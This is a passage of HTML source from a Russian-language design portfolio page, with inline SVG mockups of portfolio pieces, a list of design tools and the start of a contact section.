opacity=\".2\" />\n                        <rect x=\"276\" y=\"148\" width=\"6\" height=\"7\" fill=\"#d4f542\" opacity=\".1\" />\n                        <!-- здание 6 -->\n                        <rect x=\"298\" y=\"90\" width=\"54\" height=\"150\" fill=\"#0e0e1f\" stroke=\"#d4f542\" stroke-width=\"0.7\" />\n                        <rect x=\"308\" y=\"78\" width=\"34\" height=\"14\" fill=\"#0e0e1f\" stroke=\"#d4f542\" stroke-width=\"0.7\" />\n                        <rect x=\"320\" y=\"65\" width=\"10\" height=\"15\" fill=\"#0e0e1f\" stroke=\"#d4f542\" stroke-width=\"0.7\" />\n                        <rect x=\"302\" y=\"108\" width=\"7\" height=\"9\" fill=\"#d4f542\" opacity=\".16\" />\n                        <rect x=\"313\" y=\"108\" width=\"7\" height=\"9\" fill=\"#d4f542\" opacity=\".1\" class=\"wc2-sign\" />\n                        <rect x=\"324\" y=\"108\" width=\"7\" height=\"9\" fill=\"#d4f542\" opacity=\".2\" />\n                        <rect x=\"335\" y=\"108\" width=\"7\" height=\"9\" fill=\"#d4f542\" opacity=\".14\" class=\"wc2-sign\" />\n                        <rect x=\"346\" y=\"108\" width=\"7\" height=\"9\" fill=\"#d4f542\" opacity=\".08\" />\n                        <!-- луна -->\n                        <circle cx=\"360\" cy=\"55\" r=\"14\" fill=\"none\" stroke=\"#d4f542\" stroke-width=\"0.8\" opacity=\".5\" />\n                        <circle cx=\"365\" cy=\"50\" r=\"12\" fill=\"#0e0e1e\" opacity=\".95\" />\n                    </svg>\n                </div>\n                <div class=\"work-card-overlay\"></div>\n                <div class=\"work-card-info\">\n                    <div class=\"work-card-cat\">Иллюстрация / Photoshop</div>\n                    <div class=\"work-card-name\">Постер Neon City</div>\n                </div>\n            </div>\n\n            <!-- 3: Dashboard TechApp -->\n            <div class=\"work-card reveal d2\">\n                <div class=\"work-card-bg\"></div>\n                <div class=\"work-card-mock\">\n                    <svg viewBox=\"0 0 400 300\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\" preserveAspectRatio=\"xMidYMid slice\">\n                        <!-- окно браузера -->\n                        <rect x=\"20\" y=\"20\" width=\"360\" height=\"260\" rx=\"6\" fill=\"#0c0c18\" stroke=\"#d4f542\" stroke-width=\"0.8\" opacity=\".9\" />\n                        <!-- тулбар -->\n                        <rect x=\"20\" y=\"20\" width=\"360\" height=\"26\" rx=\"6\" fill=\"#131320\" />\n                        <rect x=\"20\" y=\"32\" width=\"360\" height=\"14\" fill=\"#131320\" />\n                        <circle cx=\"36\" cy=\"33\" r=\"4\" fill=\"#d4f542\" opacity=\".25\" />\n                        <circle cx=\"50\" cy=\"33\" r=\"4\" fill=\"#d4f542\" opacity=\".15\" />\n                        <circle cx=\"64\" cy=\"33\" r=\"4\" fill=\"#d4f542\" opacity=\".08\" />\n                        <rect x=\"80\" y=\"27\" width=\"180\" height=\"12\" rx=\"3\" fill=\"#1a1a2e\" />\n                        <!-- sidebar -->\n                        <rect x=\"20\" y=\"46\" width=\"54\" height=\"234\" fill=\"#0f0f1c\" />\n                        <rect x=\"28\" y=\"60\" width=\"38\" height=\"8\" rx=\"2\" fill=\"#d4f542\" opacity=\".18\" />\n                        <rect x=\"28\" y=\"76\" width=\"38\" height=\"8\" rx=\"2\" fill=\"#d4f542\" opacity=\".1\" />\n                        <rect x=\"28\" y=\"92\" width=\"38\" height=\"8\" rx=\"2\" fill=\"#d4f542\" opacity=\".1\" />\n                        <rect x=\"28\" y=\"108\" width=\"38\" height=\"8\" rx=\"2\" fill=\"#d4f542\" opacity=\".1\" />\n                        <rect x=\"28\" y=\"124\" width=\"38\" height=\"8\" rx=\"2\" fill=\"#d4f542\" opacity=\".1\" />\n                        <!-- active menu item -->\n                        <rect x=\"20\" y=\"74\" width=\"4\" height=\"12\" fill=\"#d4f542\" />\n                        <!-- main area -->\n                        <!-- KPI карточки -->\n                        <rect x=\"84\" y=\"56\" width=\"70\" height=\"42\" rx=\"3\" fill=\"#151525\" stroke=\"#d4f542\" stroke-width=\"0.4\" opacity=\"0.9\" />\n                        <text x=\"119\" y=\"73\" text-anchor=\"middle\" font-family=\"sans-serif\" font-size=\"14\" font-weight=\"bold\" fill=\"#d4f542\" opacity=\".8\">2,4K</text>\n                        <text x=\"119\" y=\"86\" text-anchor=\"middle\" font-family=\"sans-serif\" font-size=\"7\" fill=\"#7a7570\" letter-spacing=\"1\">USERS</text>\n                        <rect x=\"162\" y=\"56\" width=\"70\" height=\"42\" rx=\"3\" fill=\"#151525\" stroke=\"#d4f542\" stroke-width=\"0.4\" opacity=\"0.9\" />\n                        <text x=\"197\" y=\"73\" text-anchor=\"middle\" font-family=\"sans-serif\" font-size=\"14\" font-weight=\"bold\" fill=\"#d4f542\" opacity=\".8\">$18K</text>\n                        <text x=\"197\" y=\"86\" text-anchor=\"middle\" font-family=\"sans-serif\" font-size=\"7\" fill=\"#7a7570\" letter-spacing=\"1\">REVENUE</text>\n                        <rect x=\"240\" y=\"56\" width=\"70\" height=\"42\" rx=\"3\" fill=\"#151525\" stroke=\"#d4f542\" stroke-width=\"0.4\" opacity=\"0.9\" />\n                        <text x=\"275\" y=\"73\" text-anchor=\"middle\" font-family=\"sans-serif\" font-size=\"14\" font-weight=\"bold\" fill=\"#d4f542\" opacity=\".8\">94%</text>\n                        <text x=\"275\" y=\"86\" text-anchor=\"middle\" font-family=\"sans-serif\" font-size=\"7\" fill=\"#7a7570\" letter-spacing=\"1\">UPTIME</text>\n                        <rect x=\"318\" y=\"56\" width=\"52\" height=\"42\" rx=\"3\" fill=\"#151525\" stroke=\"#d4f542\" stroke-width=\"0.4\" opacity=\"0.9\" />\n                        <text x=\"344\" y=\"73\" text-anchor=\"middle\" font-family=\"sans-serif\" font-size=\"14\" font-weight=\"bold\" fill=\"#d4f542\" opacity=\".8\">↑7%</text>\n                        <text x=\"344\" y=\"86\" text-anchor=\"middle\" font-family=\"sans-serif\" font-size=\"7\" fill=\"#7a7570\" letter-spacing=\"1\">GROWTH</text>\n                        <!-- Bar chart -->\n                        <rect x=\"84\" y=\"108\" width=\"170\" height=\"110\" rx=\"3\" fill=\"#111120\" stroke=\"#d4f542\" stroke-width=\"0.4\" />\n                        <text x=\"92\" y=\"122\" font-family=\"sans-serif\" font-size=\"7\" fill=\"#7a7570\" letter-spacing=\"2\">ANALYTICS</text>\n                        <!-- базовая линия -->\n                        <line x1=\"96\" y1=\"206\" x2=\"246\" y2=\"206\" stroke=\"#d4f542\" stroke-width=\"0.4\" opacity=\".3\" />\n                        <!-- 7 баров с анимацией (transform-origin bottom) -->\n                        <rect class=\"wc3-bar\" x=\"100\" y=\"165\" width=\"14\" height=\"41\" rx=\"1\" fill=\"#d4f542\" opacity=\".45\" />\n                        <rect class=\"wc3-bar\" x=\"118\" y=\"148\" width=\"14\" height=\"58\" rx=\"1\" fill=\"#d4f542\" opacity=\".6\" />\n                        <rect class=\"wc3-bar\" x=\"136\" y=\"172\" width=\"14\" height=\"34\" rx=\"1\" fill=\"#d4f542\" opacity=\".4\" />\n                        <rect class=\"wc3-bar\" x=\"154\" y=\"140\" width=\"14\" height=\"66\" rx=\"1\" fill=\"#d4f542\" opacity=\".75\" />\n                        <rect class=\"wc3-bar\" x=\"172\" y=\"158\" width=\"14\" height=\"48\" rx=\"1\" fill=\"#d4f542\" opacity=\".5\" />\n                        <rect class=\"wc3-bar\" x=\"190\" y=\"135\" width=\"14\" height=\"71\" rx=\"1\" fill=\"#d4f542\" opacity=\".85\" />\n                        <rect class=\"wc3-bar\" x=\"208\" y=\"155\" width=\"14\" height=\"51\" rx=\"1\" fill=\"#d4f542\" opacity=\".55\" />\n                        <rect class=\"wc3-bar\" x=\"226\" y=\"145\" width=\"14\" height=\"61\" rx=\"1\" fill=\"#d4f542\" opacity=\".65\" />\n                        <!-- Line chart -->\n                        <rect x=\"262\" y=\"108\" width=\"108\" height=\"110\" rx=\"3\" fill=\"#111120\" stroke=\"#d4f542\" stroke-width=\"0.4\" />\n                        <text x=\"270\" y=\"122\" font-family=\"sans-serif\" font-size=\"7\" fill=\"#7a7570\" letter-spacing=\"2\">TREND</text>\n                        <path class=\"wc3-line\" d=\"M270 196 L282 182 L296 188 L310 165 L324 170 L338 150 L352 158 L362 142\" stroke=\"#d4f542\" stroke-width=\"1.5\" stroke-linecap=\"round\" stroke-linejoin=\"round\" />\n                        <path d=\"M270 196 L282 182 L296 188 L310 165 L324 170 L338 150 L352 158 L362 142 L362 210 L270 210 Z\" fill=\"#d4f542\" opacity=\".04\" />\n                        <!-- dot на конце -->\n                        <circle class=\"wc3-dot\" cx=\"362\" cy=\"142\" r=\"3\" fill=\"#d4f542\" />\n                        <!-- таблица -->\n                        <rect x=\"84\" y=\"226\" width=\"286\" height=\"44\" rx=\"3\" fill=\"#111120\" stroke=\"#d4f542\" stroke-width=\"0.4\" />\n                        <rect x=\"84\" y=\"226\" width=\"286\" height=\"13\" rx=\"3\" fill=\"#191928\" />\n                        <rect x=\"84\" y=\"233\" width=\"286\" height=\"6\" fill=\"#191928\" />\n                        <rect x=\"92\" y=\"229\" width=\"40\" height=\"4\" rx=\"1\" fill=\"#d4f542\" opacity=\".2\" />\n                        <rect x=\"150\" y=\"229\" width=\"30\" height=\"4\" rx=\"1\" fill=\"#d4f542\" opacity=\".15\" />\n                        <rect x=\"92\" y=\"246\" width=\"40\" height=\"3\" rx=\"1\" fill=\"#d4f542\" opacity=\".1\" />\n                        <rect x=\"150\" y=\"246\" width=\"26\" height=\"3\" rx=\"1\" fill=\"#d4f542\" opacity=\".08\" />\n                        <rect x=\"92\" y=\"254\" width=\"34\" height=\"3\" rx=\"1\" fill=\"#d4f542\" opacity=\".1\" />\n                        <rect x=\"150\" y=\"254\" width=\"30\" height=\"3\" rx=\"1\" fill=\"#d4f542\" opacity=\".12\" />\n                    </svg>\n                </div>\n                <div class=\"work-card-overlay\"></div>\n                <div class=\"work-card-info\">\n                    <div class=\"work-card-cat\">UI Design</div>\n                    <div class=\"work-card-name\">Дашборд TechApp</div>\n                </div>\n            </div>\n\n            <!-- 4: Упаковка Organic -->\n            <div class=\"work-card reveal d3\">\n                <div class=\"work-card-bg\"></div>\n                <div class=\"work-card-mock\">\n                    <svg viewBox=\"0 0 400 300\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\" preserveAspectRatio=\"xMidYMid slice\">\n                        <defs>\n                            <linearGradient id=\"jarGrad\" x1=\"0\" y1=\"0\" x2=\"1\" y2=\"0\">\n                                <stop offset=\"0%\" stop-color=\"#1a3d28\" />\n                                <stop offset=\"55%\" stop-color=\"#224d32\" />\n                                <stop offset=\"100%\" stop-color=\"#152d1e\" />\n                            </linearGradient>\n                            <linearGradient id=\"jarGrad2\" x1=\"0\" y1=\"0\" x2=\"1\" y2=\"0\">\n                                <stop offset=\"0%\" stop-color=\"#152d1e\" />\n                                <stop offset=\"55%\" stop-color=\"#1e4229\" />\n                                <stop offset=\"100%\" stop-color=\"#112418\" />\n                            </linearGradient>\n                            <linearGradient id=\"lidGrad\" x1=\"0\" y1=\"0\" x2=\"0\" y2=\"1\">\n                                <stop offset=\"0%\" stop-color=\"#d4f542\" stop-opacity=\"0.9\" />\n                                <stop offset=\"100%\" stop-color=\"#a8c234\" stop-opacity=\"0.7\" />\n                            </linearGradient>\n                        </defs>\n\n                        <!-- декоративная сетка фона -->\n                        <line x1=\"0\" y1=\"240\" x2=\"400\" y2=\"240\" stroke=\"#d4f542\" stroke-width=\"0.3\" opacity=\".08\" />\n                        <line x1=\"0\" y1=\"260\" x2=\"400\" y2=\"260\" stroke=\"#d4f542\" stroke-width=\"0.3\" opacity=\".05\" />\n\n                        <!-- ── БАНКА 1 (левая, средняя) ── -->\n                        <g class=\"wc4-boxb\">\n                            <!-- тело банки -->\n                            <rect x=\"55\" y=\"115\" width=\"76\" height=\"122\" rx=\"4\" fill=\"url(#jarGrad)\" stroke=\"#d4f542\" stroke-width=\"1\" />\n                            <!-- блик -->\n                            <rect x=\"65\" y=\"120\" width=\"8\" height=\"112\" rx=\"3\" fill=\"#d4f542\" opacity=\".06\" />\n                            <!-- крышка -->\n                            <rect x=\"52\" y=\"105\" width=\"82\" height=\"16\" rx=\"3\" fill=\"url(#lidGrad)\" />\n                            <!-- крышка верх -->\n                            <rect x=\"60\" y=\"100\" width=\"66\" height=\"8\" rx=\"2\" fill=\"#d4f542\" opacity=\".5\" />\n                            <!-- лейбл зона -->\n                            <rect x=\"62\" y=\"148\" width=\"62\" height=\"54\" rx=\"2\" fill=\"#d4f542\" opacity=\".07\" stroke=\"#d4f542\" stroke-width=\"0.5\" />\n                            <!-- листик -->\n                            <path d=\"M86,163 Q93,151 103,158 Q95,170 86,163Z\" fill=\"#d4f542\" opacity=\".7\" />\n                            <!-- надпись -->\n                            <text x=\"93\" y=\"187\" text-anchor=\"middle\" font-family=\"sans-serif\" font-size=\"6.5\" fill=\"#d4f542\" opacity=\".7\" letter-spacing=\"2\">ORGANIC</text>\n                            <text x=\"93\" y=\"197\" text-anchor=\"middle\" font-family=\"sans-serif\" font-size=\"5\" fill=\"#d4f542\" opacity=\".4\" letter-spacing=\"1\">BODY CREAM</text>\n                            <!-- полоска декор -->\n                            <line x1=\"62\" y1=\"210\" x2=\"124\" y2=\"210\" stroke=\"#d4f542\" stroke-width=\"0.5\" opacity=\".3\" />\n                        </g>\n\n                        <!-- ── ТЮБИК 2 (центральный, высокий) ── -->\n                        <g class=\"wc4-boxa\">\n                            <!-- тело тюбика -->\n                            <rect x=\"160\" y=\"60\" width=\"80\" height=\"180\" rx=\"5\" fill=\"url(#jarGrad)\" stroke=\"#d4f542\" stroke-width=\"1.2\" />\n                            <!-- блик -->\n                            <rect x=\"170\" y=\"66\" width=\"9\" height=\"168\" rx=\"3\" fill=\"#d4f542\" opacity=\".07\" />\n                            <!-- горлышко -->\n                            <rect x=\"183\" y=\"46\" width=\"34\" height=\"16\" rx=\"3\" fill=\"#1a3d28\" stroke=\"#d4f542\" stroke-width=\"0.8\" />\n                            <!-- крышка -->\n                            <rect x=\"187\" y=\"36\" width=\"26\" height=\"14\" rx=\"3\" fill=\"url(#lidGrad)\" />\n                            <!-- верхушка крышки -->\n                            <rect x=\"191\" y=\"30\" width=\"18\" height=\"8\" rx=\"2\" fill=\"#d4f542\" opacity=\".55\" />\n                            <!-- лейбл зона -->\n                            <rect x=\"168\" y=\"100\" width=\"64\" height=\"80\" rx=\"2\" fill=\"#d4f542\" opacity=\".07\" stroke=\"#d4f542\" stroke-width=\"0.5\" />\n                            <!-- листик большой -->\n                            <path d=\"M189,116 Q200,96 214,108 Q203,126 189,116Z\" fill=\"#d4f542\" opacity=\".75\" />\n                            <!-- текст -->\n                            <text x=\"200\" y=\"148\" text-anchor=\"middle\" font-family=\"sans-serif\" font-size=\"8\" font-weight=\"bold\" fill=\"#d4f542\" opacity=\".85\" letter-spacing=\"3\">ORGANIC</text>\n                            <line x1=\"172\" y1=\"155\" x2=\"228\" y2=\"155\" stroke=\"#d4f542\" stroke-width=\"0.5\" opacity=\".3\" />\n                            <text x=\"200\" y=\"166\" text-anchor=\"middle\" font-family=\"sans-serif\" font-size=\"5.5\" fill=\"#d4f542\" opacity=\".45\" letter-spacing=\"1.5\">FACE SERUM</text>\n                            <!-- нижний декор -->\n                            <line x1=\"170\" y1=\"202\" x2=\"230\" y2=\"202\" stroke=\"#d4f542\" stroke-width=\"0.4\" opacity=\".2\" />\n                            <line x1=\"176\" y1=\"208\" x2=\"224\" y2=\"208\" stroke=\"#d4f542\" stroke-width=\"0.4\" opacity=\".15\" />\n                        </g>\n\n                        <!-- ── БАНКА 3 (правая, маленькая круглая) ── -->\n                        <g class=\"wc4-boxc\">\n                            <!-- тело -->\n                            <rect x=\"268\" y=\"148\" width=\"68\" height=\"88\" rx=\"6\" fill=\"url(#jarGrad2)\" stroke=\"#d4f542\" stroke-width=\"1\" />\n                            <!-- блик -->\n                            <rect x=\"277\" y=\"154\" width=\"7\" height=\"76\" rx=\"3\" fill=\"#d4f542\" opacity=\".06\" />\n                            <!-- крышка широкая -->\n                            <rect x=\"264\" y=\"136\" width=\"76\" height=\"16\" rx=\"4\" fill=\"url(#lidGrad)\" />\n                            <!-- крышка верх -->\n                            <rect x=\"270\" y=\"130\" width=\"64\" height=\"10\" rx=\"3\" fill=\"#d4f542\" opacity=\".45\" />\n                            <!-- лейбл -->\n                            <rect x=\"276\" y=\"168\" width=\"52\" height=\"44\" rx=\"2\" fill=\"#d4f542\" opacity=\".07\" stroke=\"#d4f542\" stroke-width=\"0.5\" />\n                            <!-- листик -->\n                            <path d=\"M293,180 Q300,170 309,176 Q302,186 293,180Z\" fill=\"#d4f542\" opacity=\".65\" />\n                            <text x=\"302\" y=\"200\" text-anchor=\"middle\" font-family=\"sans-serif\" font-size=\"6\" fill=\"#d4f542\" opacity=\".65\" letter-spacing=\"1.5\">ORGANIC</text>\n                            <text x=\"302\" y=\"209\" text-anchor=\"middle\" font-family=\"sans-serif\" font-size=\"4.5\" fill=\"#d4f542\" opacity=\".35\" letter-spacing=\"1\">EYE CREAM</text>\n                        </g>\n\n                        <!-- тень общая -->\n                        <ellipse cx=\"200\" cy=\"252\" rx=\"140\" ry=\"10\" fill=\"#000\" opacity=\".3\" />\n                        <text x=\"200\" y=\"282\" text-anchor=\"middle\" font-family=\"sans-serif\" font-size=\"7.5\" fill=\"#d4f542\" opacity=\".2\" letter-spacing=\"4\">ORGANIC SERIES · PACKAGING</text>\n                    </svg>\n                </div>\n                <div class=\"work-card-overlay\"></div>\n                <div class=\"work-card-info\">\n                    <div class=\"work-card-cat\">Упаковка</div>\n                    <div class=\"work-card-name\">Серия упаковки «Organic»</div>\n                </div>\n            </div>\n\n            <!-- 5: Лого PRISM -->\n            <div class=\"work-card reveal d4\">\n                <div class=\"work-card-bg\"></div>\n                <div class=\"work-card-mock\">\n                    <svg viewBox=\"0 0 400 300\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\" preserveAspectRatio=\"xMidYMid slice\">\n                        <!-- фоновые круги -->\n                        <circle cx=\"200\" cy=\"150\" r=\"120\" stroke=\"#d4f542\" stroke-width=\"0.3\" opacity=\".07\" />\n                        <circle cx=\"200\" cy=\"150\" r=\"90\" stroke=\"#d4f542\" stroke-width=\"0.3\" opacity=\".05\" stroke-dasharray=\"8 4\" />\n\n                        <!-- лучи света (за призмой) -->\n                        <g class=\"wc5-ray\">\n                            <line x1=\"200\" y1=\"150\" x2=\"340\" y2=\"100\" stroke=\"#d4f542\" stroke-width=\"1.5\" opacity=\".3\" />\n                            <line x1=\"200\" y1=\"150\" x2=\"350\" y2=\"130\" stroke=\"#d4f542\" stroke-width=\"0.8\" opacity=\".2\" />\n                        </g>\n                        <g class=\"wc5-ray\">\n                            <line x1=\"200\" y1=\"150\" x2=\"345\" y2=\"160\" stroke=\"#7fff00\" stroke-width=\"1.2\" opacity=\".25\" />\n                        </g>\n                        <g class=\"wc5-ray\">\n                            <line x1=\"200\" y1=\"150\" x2=\"338\" y2=\"190\" stroke=\"#00ffcc\" stroke-width=\"1\" opacity=\".2\" />\n                        </g>\n                        <g class=\"wc5-ray\">\n                            <line x1=\"200\" y1=\"150\" x2=\"325\" y2=\"218\" stroke=\"#00cfff\" stroke-width=\"1\" opacity=\".18\" />\n                        </g>\n                        <g class=\"wc5-ray\">\n                            <line x1=\"200\" y1=\"150\" x2=\"305\" y2=\"240\" stroke=\"#8080ff\" stroke-width=\"0.8\" opacity=\".15\" />\n                        </g>\n\n                        <!-- входящий луч -->\n                        <line x1=\"50\" y1=\"150\" x2=\"200\" y2=\"150\" stroke=\"#d4f542\" stroke-width=\"1.5\" opacity=\".5\" />\n                        <line x1=\"40\" y1=\"148\" x2=\"200\" y2=\"148\" stroke=\"#d4f542\" stroke-width=\"0.5\" opacity=\".2\" />\n                        <line x1=\"40\" y1=\"152\" x2=\"200\" y2=\"152\" stroke=\"#d4f542\" stroke-width=\"0.5\" opacity=\".2\" />\n\n                        <!-- призма -->\n                        <g class=\"wc5-prism\">\n                            <!-- грани с заливкой -->\n                            <path d=\"M200 60 L280 200 L120 200 Z\" fill=\"#d4f542\" fill-opacity=\".04\" stroke=\"#d4f542\" stroke-width=\"1.5\" stroke-linejoin=\"round\" />\n                            <!-- внутренние линии преломления -->\n                            <line x1=\"200\" y1=\"60\" x2=\"200\" y2=\"200\" stroke=\"#d4f542\" stroke-width=\"0.6\" opacity=\".2\" />\n                            <line x1=\"200\" y1=\"150\" x2=\"280\" y2=\"200\" stroke=\"#d4f542\" stroke-width=\"0.6\" opacity=\".15\" />\n                            <!-- блик -->\n                            <path d=\"M200 60 L215 85 L195 80 Z\" fill=\"#d4f542\" opacity=\".25\" />\n                        </g>\n\n                        <!-- точка входа луча -->\n                        <circle cx=\"200\" cy=\"150\" r=\"4\" fill=\"#d4f542\" opacity=\".6\" />\n                        <circle cx=\"200\" cy=\"150\" r=\"8\" stroke=\"#d4f542\" stroke-width=\"0.8\" opacity=\".25\" />\n\n                        <!-- лейбл -->\n                        <text x=\"200\" y=\"268\" text-anchor=\"middle\" font-family=\"sans-serif\" font-size=\"20\" font-weight=\"900\" fill=\"#d4f542\" opacity=\".12\" letter-spacing=\"14\">PRISM</text>\n                        <text x=\"200\" y=\"285\" text-anchor=\"middle\" font-family=\"sans-serif\" font-size=\"7\" fill=\"#d4f542\" opacity=\".25\" letter-spacing=\"5\">MOTION · IDENTITY</text>\n                    </svg>\n                </div>\n                <div class=\"work-card-overlay\"></div>\n                <div class=\"work-card-info\">\n                    <div class=\"work-card-cat\">Motion Design</div>\n                    <div class=\"work-card-name\">Анимационное лого PRISM</div>\n                </div>\n            </div>\n\n            <!-- 6: Into the Void -->\n            <div class=\"work-card reveal d5\">\n                <div class=\"work-card-bg\"></div>\n                <div class=\"work-card-mock\">\n                    <svg viewBox=\"0 0 400 300\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\" preserveAspectRatio=\"xMidYMid slice\">\n                        <!-- звёзды случайные -->\n                        <circle cx=\"30\" cy=\"25\" r=\"0.8\" fill=\"#d4f542\" opacity=\".5\" />\n                        <circle cx=\"70\" cy=\"50\" r=\"1\" fill=\"#d4f542\" opacity=\".3\" />\n                        <circle cx=\"130\" cy=\"18\" r=\"0.7\" fill=\"#d4f542\" opacity=\".6\" />\n                        <circle cx=\"220\" cy=\"35\" r=\"1\" fill=\"#d4f542\" opacity=\".35\" />\n                        <circle cx=\"300\" cy=\"20\" r=\"0.8\" fill=\"#d4f542\" opacity=\".45\" />\n                        <circle cx=\"375\" cy=\"55\" r=\"1\" fill=\"#d4f542\" opacity=\".3\" />\n                        <circle cx=\"380\" cy=\"120\" r=\"0.7\" fill=\"#d4f542\" opacity=\".4\" />\n                        <circle cx=\"350\" cy=\"240\" r=\"0.8\" fill=\"#d4f542\" opacity=\".25\" />\n                        <circle cx=\"20\" cy=\"200\" r=\"0.9\" fill=\"#d4f542\" opacity=\".4\" />\n                        <circle cx=\"60\" cy=\"260\" r=\"0.7\" fill=\"#d4f542\" opacity=\".3\" />\n                        <circle cx=\"170\" cy=\"270\" r=\"1\" fill=\"#d4f542\" opacity=\".2\" />\n                        <circle cx=\"340\" cy=\"280\" r=\"0.8\" fill=\"#d4f542\" opacity=\".35\" />\n\n                        <!-- Внешние орбиты -->\n                        <ellipse class=\"wc6-ring1\" cx=\"200\" cy=\"150\" rx=\"130\" ry=\"40\" stroke=\"#d4f542\" stroke-width=\"0.6\" opacity=\".15\" stroke-dasharray=\"12 6\" />\n                        <ellipse class=\"wc6-ring2\" cx=\"200\" cy=\"150\" rx=\"100\" ry=\"30\" stroke=\"#d4f542\" stroke-width=\"0.5\" opacity=\".2\" stroke-dasharray=\"8 4\" />\n                        <ellipse class=\"wc6-ring3\" cx=\"200\" cy=\"150\" rx=\"70\" ry=\"22\" stroke=\"#d4f542\" stroke-width=\"0.5\" opacity=\".25\" stroke-dasharray=\"5 3\" />\n\n                        <!-- Портал (ядро) -->\n                        <circle class=\"wc6-core\" cx=\"200\" cy=\"150\" r=\"60\" stroke=\"#d4f542\" stroke-width=\"0.8\" opacity=\".15\" />\n                        <circle cx=\"200\" cy=\"150\" r=\"44\" fill=\"url(#voidGrad)\" stroke=\"#d4f542\" stroke-width=\"1\" opacity=\".7\" />\n                        <circle cx=\"200\" cy=\"150\" r=\"28\" fill=\"#040408\" stroke=\"#d4f542\" stroke-width=\"0.8\" opacity=\".8\" />\n                        <circle cx=\"200\" cy=\"150\" r=\"14\" fill=\"#d4f542\" opacity=\".08\" />\n                        <circle cx=\"200\" cy=\"150\" r=\"5\" fill=\"#d4f542\" opacity=\".4\" />\n\n                        <!-- Точки на орбите -->\n                        <circle class=\"wc6-spark\" cx=\"330\" cy=\"150\" r=\"4\" fill=\"#d4f542\" />\n                        <circle class=\"wc6-spark\" cx=\"200\" cy=\"110\" r=\"3\" fill=\"#d4f542\" />\n                        <circle class=\"wc6-spark\" cx=\"100\" cy=\"162\" r=\"3.5\" fill=\"#d4f542\" />\n                        <circle class=\"wc6-spark\" cx=\"240\" cy=\"178\" r=\"2.5\" fill=\"#d4f542\" />\n                        <circle class=\"wc6-spark\" cx=\"175\" cy=\"124\" r=\"2\" fill=\"#d4f542\" />\n\n                        <!-- Расходящиеся лучи из центра -->\n                        <line x1=\"200\" y1=\"150\" x2=\"200\" y2=\"50\" stroke=\"#d4f542\" stroke-width=\"0.5\" opacity=\".1\" />\n                        <line x1=\"200\" y1=\"150\" x2=\"200\" y2=\"250\" stroke=\"#d4f542\" stroke-width=\"0.5\" opacity=\".1\" />\n                        <line x1=\"200\" y1=\"150\" x2=\"100\" y2=\"150\" stroke=\"#d4f542\" stroke-width=\"0.5\" opacity=\".1\" />\n                        <line x1=\"200\" y1=\"150\" x2=\"300\" y2=\"150\" stroke=\"#d4f542\" stroke-width=\"0.5\" opacity=\".1\" />\n                        <line x1=\"200\" y1=\"150\" x2=\"128\" y2=\"78\" stroke=\"#d4f542\" stroke-width=\"0.5\" opacity=\".07\" />\n                        <line x1=\"200\" y1=\"150\" x2=\"272\" y2=\"78\" stroke=\"#d4f542\" stroke-width=\"0.5\" opacity=\".07\" />\n                        <line x1=\"200\" y1=\"150\" x2=\"128\" y2=\"222\" stroke=\"#d4f542\" stroke-width=\"0.5\" opacity=\".07\" />\n                        <line x1=\"200\" y1=\"150\" x2=\"272\" y2=\"222\" stroke=\"#d4f542\" stroke-width=\"0.5\" opacity=\".07\" />\n\n                        <defs>\n                            <radialGradient id=\"voidGrad\" cx=\"50%\" cy=\"50%\" r=\"50%\">\n                                <stop offset=\"0%\" stop-color=\"#d4f542\" stop-opacity=\"0.0\" />\n                                <stop offset=\"70%\" stop-color=\"#d4f542\" stop-opacity=\"0.04\" />\n                                <stop offset=\"100%\" stop-color=\"#d4f542\" stop-opacity=\"0.15\" />\n                            </radialGradient>\n                        </defs>\n\n                        <text x=\"200\" y=\"285\" text-anchor=\"middle\" font-family=\"sans-serif\" font-size=\"7\" fill=\"#d4f542\" opacity=\".2\" letter-spacing=\"5\">INTO THE VOID · PHOTO MANIPULATION</text>\n                    </svg>\n                </div>\n                <div class=\"work-card-overlay\"></div>\n                <div class=\"work-card-info\">\n                    <div class=\"work-card-cat\">Фотоманипуляция</div>\n                    <div class=\"work-card-name\">Арт «Into the Void»</div>\n                </div>\n            </div>\n\n        </div>\n    </section>\n\n    <!-- ─── TOOLS ─── -->\n    <section id=\"tools\">\n        <div class=\"section-label reveal\">Стек</div>\n        <h2 class=\"tools-title reveal d1\">Программы &<br>инструменты</h2>\n        <div class=\"tools-list reveal d2\">\n            <span class=\"tool-badge\"><span class=\"tool-dot\"></span>Adobe Photoshop 2025</span>\n            <span class=\"tool-badge\"><span class=\"tool-dot\"></span>Adobe Illustrator 2025</span>\n            <span class=\"tool-badge\"><span class=\"tool-dot\"></span>Adobe After Effects</span>\n            <span class=\"tool-badge\"><span class=\"tool-dot\"></span>Adobe InDesign</span>\n            <span class=\"tool-badge\"><span class=\"tool-dot\"></span>Adobe Lightroom</span>\n            <span class=\"tool-badge\"><span class=\"tool-dot\"></span>Figma</span>\n            <span class=\"tool-badge\"><span class=\"tool-dot\"></span>Blender 3D</span>\n            <span class=\"tool-badge\"><span class=\"tool-dot\"></span>DaVinci Resolve</span>\n            <span class=\"tool-badge\"><span class=\"tool-dot\"></span>Procreate</span>\n            <span class=\"tool-badge\"><span class=\"tool-dot\"></span>Wacom Intuos Pro</span>\n            <span class=\"tool-badge\"><span class=\"tool-dot\"></span>Pantone / CMYK</span>\n            <span class=\"tool-badge\"><span class=\"tool-dot\"></span>Grid Systems</span>\n        </div>\n    </section>\n\n    <!-- ─── CONTACT ─── -->\n    <section id=\"contact\">\n        <div class=\"contact-left\">\n            <div class=\"section-label reveal\">Контакты</div>\n            <h2 class=\"contact-title reveal d1\">Давайте создадим<br>что-то <em>крутое</em></h2>\n            <p class=\"contact-desc reveal d2\">\n                Готов к новым проектам. Расскажите о вашей задаче — и я предложу решение,\n                которое точно попадёт в цель.\n            </p>\n            <div class=\"contact-links reveal d3\">\n                <a href=\"mailto:tandemsites@example.com\" class=\"contact-link\">\n                    <svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\">\n                        <rect x=\"2\" y=\"4\" width=\"12\" height=\"9\" rx=\"1.5\" stroke=\"currentColor\" stroke-width=\"1.2\" />\n                        <path d=\"M2 5l6 4.5L14 5\" stroke=\"currentColor\" stroke-width=\"1.2\" />\n                    </svg>\n                    tandemsites@example.com\n                </a>\n                <a href=\"#\" class=\"contact-link\">\n                    <svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\">\n                        <path d=\"M14 2L7.5 